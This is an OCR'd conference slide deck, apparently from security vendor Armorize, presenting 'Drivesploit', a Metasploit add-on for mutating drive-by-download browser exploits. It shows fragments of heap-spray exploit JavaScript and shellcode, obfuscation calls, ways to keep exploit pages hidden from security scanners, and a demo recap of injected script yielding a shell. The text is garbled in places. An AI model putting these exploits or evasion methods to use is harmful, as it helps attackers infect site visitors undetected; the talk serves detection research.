Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection

掛馬免殺
DRIVESPLOIT
CIRCUMVENTING
AUTOMATED AND
MANUAL DETECTION
OF BROWSER EXPLOITS
Wayne Huang, Cofounder & CTO
Fyodor Yarochkin
Antonio Rohman Fernandez
Chris Hsiao
Armorize Technologies, Inc.
@waynehuang
wayne@armorize.com
@ i

One type of browser exploit:

Drive-by Downloads defined

2

Drive-by-Download Explained
• Hackers distribute malware by
"poisoning" legitimate websites

• Typical: injects malicious iframes
into HTML content

3

Drive-by-Download Explained
• Affected websites:
– Essentially becomes a delivery mechanism for
malware
– Appear normal

• Victims
– Do not need to "click" or "agree to" anything
– Simply connecting to the website executes the
attack

4

Drive-by Download Incidents

• Aurora (Google)
– June 2009-Feb 2010
–TTargeted attack
t d tt k
– IE 0day CVE-2010-0249
– Confirmed publicly by Google,
Adobe Systems, Juniper Networks
and R kS
d RackSpace
– Total of 34 organization targeted
g g

Drive-by Download Incidents

• DNF666 Mass SQL Injection
– Since March, 2010
–JJun: Adobe 0day CVE-2010-1297
Ad b 0d CVE 2010 1297
– Victims: Wall Street Journal,
Jarusalem P t etc
J l Post, t
– dnf666.net, robint.us, 2677.in,
4589.in, 22d f
4589 i 22dnf.com

US Treasury

http://thompson.blog.avg.com/2010/05/treasury‐website‐hacked.html

Dissecting Drive-By Downloads

Page + Browser
Page + Browser
Exploit
Payload = Exploit Server
downloader
d l d

12


Page + Browser
Page + Browser
Exploit
downloader
d l d
<script>var sc = unescape("
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
var arr = new Array; for (var i = 0; i < sss.length; i ++ ){ arr[i] = String.fromCharCode(sss[i]/7); } var
cc=arr.toString();cc=cc.replace(/ ,/ g, "" ); cc = cc.replace(/@/g, ","); eval(cc); var x1 = new Array(); for (i = 0; i <
200; i ++ ){ x1[i] = document.createElement("COMMENT"); x1[i].data = "abc"; } ; var e1 = null; function ev1(evt){
e1 = document.createEventObject(evt); document.getElementById("sp1").innerHTML = "";
window.setInterval(ev2, 50); } function ev2(){ p = " 13


Exploit!
Page + Browser
Page + Browser
Exploit
downloader
d l d


Exploit!
Exploits / droppers
Exploits / droppers

Dropper executes Exploit Server

15


Exploits / droppers
Exploits / droppers

Exploit Server
Malware
Malware Server
16


Exploits / droppers
Exploits / droppers

Exploit Server
Malware

Malware Server
Controller 17


But who would visit?
But who would visit?
The key now is TRAFFIC
Exploits / droppers
Exploits / droppers

Exploit Server
Malware

Malware Server
Controller 18

(1) Legitimate, injectable sites

URL Generators
Landing Site
Landing Site
Exploits / droppers
Exploits / droppers

Exploit Server
Malware

Malware Server
Controller 19

(1) Legitimate, injectable sites

URL Generators
Landing Site
Landing Site
 May-Ongoing:/ DNF666 mass SQ
ay O go Exploits droppers 666 ass SQL
g
Exploits / droppers

injections Exploit Server
 May-June: Shared hosting compromise,
Malware

GoDaddy, RackSpace,
GoDaddy RackSpace Network
Solutions, BlueHost, DreamHost
Malware Server
 Continuous targeted attacks
20

(1) Legitimate, vulnerable sites

URL Generators
Landing Site
Landing Site
 Mass SQL injections
Exploits / droppers
Exploits / droppers

 Mass hosting compromises
Exploit Server
 Directly inside HTML / PHP / ASP
Malware
 Hidden inside WorldPress files
 Hidden inside DB Malware Server
 Hidden inside DB stored procedures
21

(2) Man-in-the-Middle
WAN LAN

URL Generators
Landing Site
Landing Site
 No tampering of website
p Exploits / droppers
g
Exploits / droppers

 LAN: ARP spoofing via ZXARPS and other
Exploit Server
tools
Malware

 WAN: March 2009, middle of route
2009 route,
tw.msn.com, taiwan.cnet.com, others
Malware Server
Cisco advisory:
http://tools.cisco.com/security/center/viewAlert.x?alertId=17778
22

LIVE DEMO 1

http://digg.com/software/
Internet_Storm_Center_
Internet_Storm_Center_
_ _
Diary_2010_02_27
23

Live demo recap

Injected javascript in digg.com

Live demo recap
1. Inject javascript into digg.com
j j p gg
2. Javascript loads iframe from our domain
zcrack.org
3. Metasploit (drivesploit) is running on
zcrack.org,
zcrack org serves ie peers exploit
4. Bypasses AV
5. IE visitor attacked, IE crashes,
meterpreter starts, jumps process to
notepad.exe
notepad exe
6. We have a shell :)

MOTIVATION

We provide solutions that monitors
p
websites and detect malicious
contents 24 7
t t 24x7

We use multiple behavior-, heuristic-,
p , ,
and signature-based technologies
27

MOTIVATION

Most technologies are developed on
our own, BUT,

We also integrate anti-virus, whose
licenses are $expensive$
28

MOTIVATION

We spend a lot of time testing our own
technologies, and selecting anti-virus
technologies
t h l gi

The key is: how good are we (and them) at
detecting NEW drive-by downloads

29

MOTIVATION

We need a good framework to help us
g p
replicate, manipulate, and mutate
exploits found in the wild

--into NEW derivatives

30

DRIVESPLOIT
IS BORN

ON TOP OF
METASPLOIT
31

INITIAL FINDINGS

ANTIVIRUS CAPABILITIES
DIFFER GREATLY!

DESKTOP AND API VERSIONS
DIFFER GREATLY IN PERFORMANCE

COST != PERFORMANCE

Antivirus vs. Drive-bys

URL Generators
Landing Site
Landing Site
Exploits / droppers
Exploits / droppers

Exploit Server
Malware

Malware Server
Controller 33


JAVASCRIPT
URL Generators
Landing Site
Landing Site
JAVASCRIPT
Exploits / droppers
Exploits / droppers

JAVASCRIPT
Exploit Server
Malware
PE BINARY
PE BINARY
Malware Server
Controller 34


JAVASCRIPT
URL Generators
Landing Site
Landing Site
JAVASCRIPT
Exploits / droppers
Exploits / droppers

JAVASCRIPT
Exploit Server
Malware
PE BINARY
PE BINARY
Malware Server
We will detect
We will detect
Controller 35 this part!!

Why we can’t rely on PE detection
• Exploit server domains are often taken down
after a few days, but the injected URL generators
and the exploit servers live on
– Attack reported to the hosting / registrar
– Domain banned by ISPs
– Purchased duration was over

• We want to detect the injection so our customers
can remove it
• Actually statically detecting javascript exploits is
Actually,
quite difficult

36

THE TAO:
ECMA-SCRIPTS
ECMA SCRIPTS

JAVASCRIPT
VBSCRIPT
ADOBE JS
ACTIONSCRIPT
37

JAVASCRIPT!! (ECMA-SCRIPT)

URL Generators
Landing Site
Landing Site
Exploits / droppers
Exploits / droppers

Exploit Server
Malware

Malware Server
Controller 38


URL Generators
Landing Site
Landing Site
Exploits / droppers
Exploits / droppers

Exploit Server
Malware

Controller 39


URL Generators
Landing Site
Landing Site
Exploits / droppers
Exploits / droppers

Exploit Server

Controller 40


URL Generators
Landing Site
Landing Site
Exploits / droppers
Exploits / droppers

Exploit Server
(METASPLOT)

Controller 41


URL Generators
Landing Site
Landing Site
Exploits / droppers
Exploits / droppers

PAYLOAD Exploit Server
meterpreter (METASPLOT)
(memory
injection)
Controller 42

Drive-By wants to…
• Avoid detection at the victim's
desktop
• Avoid detection by UTM/gateways
• Avoid detection
by
b automated
t t d
monitors
• Live for as long
as possible
ibl

Drive-By wants to…
CONCLUSION:
Reduce exposure:
Serve SELECTIVELY

Avoid detection and analysis:
Mutate well

Serve Selectively
HTTP LEVEL:
Serve only to:
• Fresh IPs (serve once per IP)
set HTTP::client::onlyonce true
• Particular referer (eg Gumblar)
(eg.
set HTTP::referer google.com
• Particular agent string (vulnerable browser)
set HTTP::agent::MSIE 7.0
• Black list
set HTTP::client::blacklist false

SCRIPT MUTATION

For exploit
For
F payload
l d
46

The goal is not to "obfuscate"...

JAVASCRIPT EXPLOIT DISEC

Shellcode
M Corrupt
Heapspray
Trigger
gg


Shellcode <script>var shellraw =
"%u7679%u4673%u757b%u924e%u
66b9%ub441%u018d%u7df9%u241
c%ud631%u40b7%ueb11%u043d%u

M Corrupt be97%u212c%u05e1%u8335%u42fc
%ub893%u227f%u98d4%u484b%u8
c90%u13e0%uf8d3%u7aba%u7278
%u2034%u49f5%u259f%u9137%u3
Heapspray 39b%u1dd5%ub1b0%u3f99%u2f43
%u3cb6%ub2a8%ub30c%u4714%u3
d7b%ue138%uf803%u66b2%u97b9
d7b% 138% f803% 66b2% 97b9
%u9335%u767a%ub805%ue201%u4
Trigger
gg a2f%u85a8%u7eeb%uf93b%u414f%
u257d%u78bf%u2c43%u7f99%ubb2
d%ub098%ub342%u918d%u3fb2%u
704a%u7147%u7f74%u3073%u77f9
%ubb40


Shellcode var j_object =
document.createElement('body');

j_object.addBehavior('#default#user

M Corrupt Data');

document.appendChild(j_object);

Heapspray try {
for (counter=0; counter<10;
counter++) {
t ){
j_object.setAttribute('s',window);}
Trigger
gg }
catch(e){ }window.status+= ;}
catch(e){ }window status+ '';}


Shellcode var counter;var shellcode =
unescape(shellraw);
var memory = new Array();var

Buffer Ovf slackspace = 0x86000‐
(shellcode.length*2);
var nops =
unescape("%u0c0c%u0c0c");
Heapspray while(nops.length<slackspace/2) {
nops+=nops; }var fillbl k =
} fillblock
nops.substring(0,slackspace/2);
Trigger
gg delete nops;

for(counter=0; counter<270;
counter++) {memory[counter] =
fillblock + fillblock + shellcode;
+ fillblock + shellcode;


Shellcode <button id j_id
<button id='j id'
onclick='bootstrapper();'
style='display:none'></butt
M Corrupt on>

…
Heapspray …
…

Trigger
gg document.getElementById(
'j_id').onclick();


Shellcode
OBFUSCATED
M Corrupt BLOB
Heapspray
DE‐
Trigger
gg OBFUSCATOR
Primitive Obfuscated
Form
F Form
F


Exploit!
Page + Browser
Page + Browser
Exploit
downloader
d l d


Shellcode
OBFUSCATED
M Corrupt BLOB
Heapspray
DE‐
Start Trigger
gg OBFUSCATOR
Form
F Form
F


Shellcode
OBFUSCATED
M Corrupt BLOB
Mutate
Heapspray
DE‐
Start Trigger
gg OBFUSCATOR
Form
F Form
F


Shellcode
OBFUSCATED
M Corrupt BLOB
Mutate
Heapspray
DE‐
Start Trigger
gg OBFUSCATOR
Form
F Prevent
Form
F

MUTATION FEATURES
IMPLEMENTED
SO FAR

1. Javascript Random Variable Auto
Replacement
• Accepts a piece of javascript
p p j p
• Parses the javascript according to
grammer
• Auto replaces all variable names and
function names with random names
• Passes back:
a) the new javascript
b) a vector of old-new name mappings
) pp g

1. Javascript Random Variable Auto
Replacement
randomized =
Rex::Exploitation::DriveSploit::obfusca
tejs(js,
j (j ,
Rex::Exploitation::DriveSploit::AUTO_R
ANDOM_VARS)

2. Javascript Concat String
Obfuscation
Obf ti
arr =
Rex::Exploitation::DriveSploit.obfusca
tejs(shellcode,
t j ( h ll d
Rex::Exploitation::DriveSploit::STRING
CONCAT)

shellcode script = arr[0]
h ll d i t [0]
shellcode_var = arr[1]

Obfuscation
Obf ti
%u7679%u4673%u757%u924e
% 7679% 4673% 757% 924

A1 = "%u7"; A3 = "u4673%";
A2 = "679%";
679% ; A4 = "u75";
u75 ;
A3 = "u4673%"; A1 = "%u7";
A4 = "u75";
u75 ; A5 = "7%u92";
7%u92 ;
A5 = "7%u92"; A2 = "679%";
A6 = "4e"; A6 = "4e";

Obfuscation
Obf ti
%u7679%u4673%u757%u924e
% 7679% 4673% 757% 924

A3 = "u4673%";
A4 = "u75";
u75 ;
B1 = A1+A2; A1 = "%u7";
B2 = A3+A4;
; Layer 2
ay A5 = "7%u92";
7%u92 ;
B3 = A5+A6; A2 = "679%";
A6 = "4e";

Obfuscation
Obf ti
%u7679%u4673%u757%u924e
% 7679% 4673% 757% 924

B1 = A1+A2; B2 = A1+A2;
B2 = A3+A4;
; B3 = A5+A6;
;
B3 = A5+A6; B1 = A3+A4;

Obfuscation
Obf ti
%u7679%u4673%u757%u924e
% 7679% 4673% 757% 924
A3 = "u4673%”;A4 = "u75”;
" 4673%” A4 " 75”
A1 = "%u7";
A5 = "7%u92”;A2 = "679%";
A6 = "4e"; B2 = A1+A2;
4e ;
B1 = A3+A4;B3 = A5+A6;C1=B1+B2;
D1=C1+B3;
// variable names are randomized

3. Javascript Random Text Insertion
insertret =
Rex::Exploitation::DriveSploit.getInse
rtion(shellcode, 4, 6, 10)

shellcode = insertret[0]
random insertion string = insertret[1]

3. Javascript Random Text Insertion
insertret =
Rex::Exploitation::DriveSploit.getInse
rtion(shellcode, 4, 6, 10)
# insert a fixed 6-character random
# string, for every 4-8 characters

returns
a) a piece of javascript containing the
injected string
b) Javascript variable name containing
the reverted, original string

4. Numeric Literal Mutation
slackspace =
p
Rex::Exploitation::Drivespl
oit.obfuscateNumber(0x86000
oit obfuscateNumber(0x86000
)

slackspace =
p
Rex::Exploitation::Drivespl
oit.obfuscateNumber(0x86000
oit obfuscateNumber(0x86000
)

( 6 ) (56 6 96) (3 ) 8 (333 )
(246*2)+(5676*96)+(34*4)+8+(3332*1)

slackspace = 0x86000
slackspace =
l k
(246*2)+(5676*96)+(34*4)+8+
(3332*1)

Trigger Prevention

Shellcode
OBFUSCATED
M Corrupt BLOB
Heapspray
DE‐
Start Trigger
gg OBFUSCATOR
Form
F Prevent
Form
F

Trigger prevention
• <div onload
• <img onload
• var a=1; var b=0;
do {
useless code;
} while (a==b);
(a b);
• Fingerprinting-based encryption

TESTING IT OUT
Using the IE peers exploit as example
CVE‐2010‐0806
(MS10‐018)

RANDVAR+CONCAT SC+INJECT SC
11/42

ROUGHLY 6/17
ANTI-VIRUS
ANTI VIRUS
DETECTS BASED ON
SHELLCODE
(FOR THIS EXPLOIT)

RANDVAR+INJECT SC+CONCAT
CODE: 0/42

ANTIVIRUS
DESKTOP VERSION
IS MUCH STRONGER

ANTIVIRUS DESKTOP VERSION
• Can monitor host environment
– Hook into browsers
– Easier to get raw form of
exploit

• Behavior analysis
– Buffer overflow behavior
– Download to file behavior
Download-to-file

AntiVirus Desktop Kung Fu
To Ag Sc Aa Ky
Plain ✖ ✖ ✔ ✔ ✔
Random variables ✖ ✖ ✔ ✔ ✔
Split literals ✖ ✖ ✔ ✔ ✔
Injection SC
Injection SC ✖ ✖ ✔ ✔ ✔
Concat SC ✖ ✖ ✔ ✔ ✔
Concat CODE ✖ ✔ ✖ ✔ ✔
Concat SC + Concat CODE ✖ ✖ ✖ ✔ ✔
Inject SC + Concat CODE ✖ ✖ ✖ ✖ ✔

AntiVirus Desktop Kung Fu
To Ag Sc Aa Ky M
Plain ✖ ✖ ✔ ✔ ✔ ✔✔
Random variables ✖ ✖ ✔ ✔ ✔ ✔✔
Split literals ✖ ✖ ✔ ✔ ✔ ✔✔
Injection SC
Injection SC ✖ ✖ ✔ ✔ ✔ ✖✔
Concat SC ✖ ✖ ✔ ✔ ✔ ✖✔
Concat CODE ✖ ✔ ✖ ✔ ✔ ✖✔
Concat SC + Concat CODE ✖ ✖ ✖ ✔ ✔ ✖✔
Inject SC + Concat CODE ✖ ✖ ✖ ✖ ✔ ✖✔

LIVE DEMO 2
DESKTOP
ANTIVIRUS
BYPASS

5. FINGERPRINTING-
BASED ENCRYPTION

Wepawet doesn’t tell much

88

Browser Feature Table
IE7 FF Safari Opera Chrome
Is_contextmenu_event_supported
Is contextmenu event supported True True True False True
String_prototype_replace_ignore_functions False False True (2.0.2) False False
Is_ES5_strict_mode_supported False False False False False
Array_prototype_slice_can_convert_to_array
Array prototype slice can convert to array False True True True True
Getelementsbytagname_returns_comment_nodes True False False False False
Is_element_tagname_uppercased True True True True True
Is_canvas_element_supported False True True True True
Is_DOMFocusIn_supported False False True True True
Is_CSS_boder_radius_supported False True True False True
Function_identified_leaks_onto_enclosing_scope True False False False False
Script_element_rejects_textnode_appending True False False False False
Is_contextmenu_event_supported True True True False True
Is_position_fixed_supported False True True False True
Computed_style_return_static_positioned_element False False False True False

93

5. Fingerprinting-Based Encryption
Summary
• "This exploit works only for IE6"
This IE6
• "Give me an encrypted version of my
javascript exploit”
j i t l it”
• "Give me javascript to generate the
decoding key"
• "The key is only correctly generated if the
y y yg
javascript is run under IE6"

94

Summary

A=Check1();
B=Check3();
C=Check4();
D Check6();
D=Check6();
E=Check8();
F=Check9();
();
G=Check12();
H=Check14();

95

Summary

A=Check1(); A=Check6();
B=Check3(); B=Check12();
C=Check4(); C=Check8();
D Check6();
D=Check6(); D Check1();
D=Check1();
E=Check8(); E=Check4();
F=Check9();
(); F=Check14();
();
G=Check12(); G=Check3();
H=Check14(); H=Check9();

96

Summary

A=Check1(); A=Check6();
One‐time key
B=Check3(); B=Check12();
C=Check4(); C=Check8();
D Check6();
D=Check6(); D Check1();
D=Check1();
E=Check8(); E=Check4();
Encrypt
F=Check9();
(); F=Check14();
();
javascript
G=Check12(); G=Check3();
exploit
l
H=Check14(); H=Check9();

Generate
decoding
97 javascript

Why not Anti-Virus?
• AV is to install on desktops / notebooks
p
• Complicated normal behaviors
• Strict resource constraints
• Therefore, AV and gateway vendors rely
on:
– Signature-based pattern matching technologies
– LIGHTWEIGHT and ACCURATE
• Why can’t such technology used to detect
drive-by-downloads?

98

Javascripts are not harmful
to th
t the environment…
i t

99

… so they are usually not reused
AV no good because drive-by-downloads are in:
g y
• Disposable Javascript
• Disposable PDF Adobe JS
• Disposable Flash actionscript
• All ECMA-
scripts

you don't usually reuse them…
100

Javascript Packing Is a Norm
• Packing is widely used by legitimate code!
– To protect javascript source code
– To reduce javascript size
• Google Closure Compiler
– http //code google com/clos e/compile /
http://code.google.com/closure/compiler/
• Yahoo Javascript Packer (YUI Compressor)
– http://developer.yahoo.com/yui/compressor/
p // p y /y / p /
• Advanced HTML Protector
– http://www.creabit.com/htmlprotect/
• D
Dean Edwards’ Packer
Ed d ’P k
– http://dean.edwards.name/packer/
• Online JS Obfuscator
– http://www.iwebtool.com/html_encrypter
• http://www.cha88.cn/safe/fromCharCode.php

101

… OK so AV doesn t work (that well)…
doesn’t well)
How about behavior-based approaches?

102

Defeating Behavior Analysis
1. Use VBScript
– Exploits in VBScript
– URL generators in VBScript
– Exploits in / generated by VBScript
– May defeat SpiderMonkey et al (Rhino,
JSunPack, etc)

2. Don’t serve to detectors
– You can’t detect what you don’t have
– Serve to each IP only once
– Detect agent strings
– Collect robot IPs—Google, Yahoo, security
vendors

103

Defeating Behavior Analysis
3. Fingerprint-based encryption
g p yp

3. Little b effective techniques
l but ff h
– Sleep(30000); //using SetTimeout
– Timelock puzzles

104

Future Work
• Randomly chop up scripts and split into
individual f l
d d l files
• Generating VBscript instead of javascript
g p j p
• Encrypting
using data
existing
outside of
HTML
– HTTP headers

Discussion
• The Panopticlick experiment by
p p y
Eckersley of EFF
– 94.2% of "typical desktop browsers” are unique
yp p q

• Can fingerprinting-based encryption
be integrated with this type of
individual fingerprinting, to prevent
detection and analysis of target
attacks?

THANK YOU!
wayne@armorize.com
@waynehuang
@drivesploit
http://www.drivesploit.org
http://www drivesploit org

Credits: wayne huang, fyodor yarochkin,
g
antonio rohman fernandez

Special thanks to: Benson Wu, Jeremy Chiu,
Kuon Ding Felix, Cola
Ding, Felix

References
• James Lee, Using guided missles in drive-bys
http://www.slideshare.net/egypt/using guided missiles in
http://www slideshare net/egypt/using-guided-missiles-in-
drivebys-automatic-browser-fingerprinting-and-exploitation-with-
the-metasploit-frameworks-browser-autopwn
• Sebastian Porst, How to really obfuscate your
, y y
PDF malware http://www.slideshare.net/cblichmann/how-
to-really-obfuscate-your-pdf-malware
• Jeremy Chiu, 0box analyzer: afterdark
runtime forensics for automated malware
analysis and clustering
http://www.slideshare.net/wayne_armorize/0-box-analyzer-
afterdark-runtime-forensics-for-automated-malware-analysis-and-
ft d k ti f i f t t d l l i d
clustering-2
• HeapLib support added to Metasploit 3
http://blog.metasploit.com/2007/04/heaplib-support-added-to-
http://blog metasploit com/2007/04/heaplib support added to
metasploit-3.html

Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Similar a Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection

Similar a Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection (20)

Último

Último (20)

Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection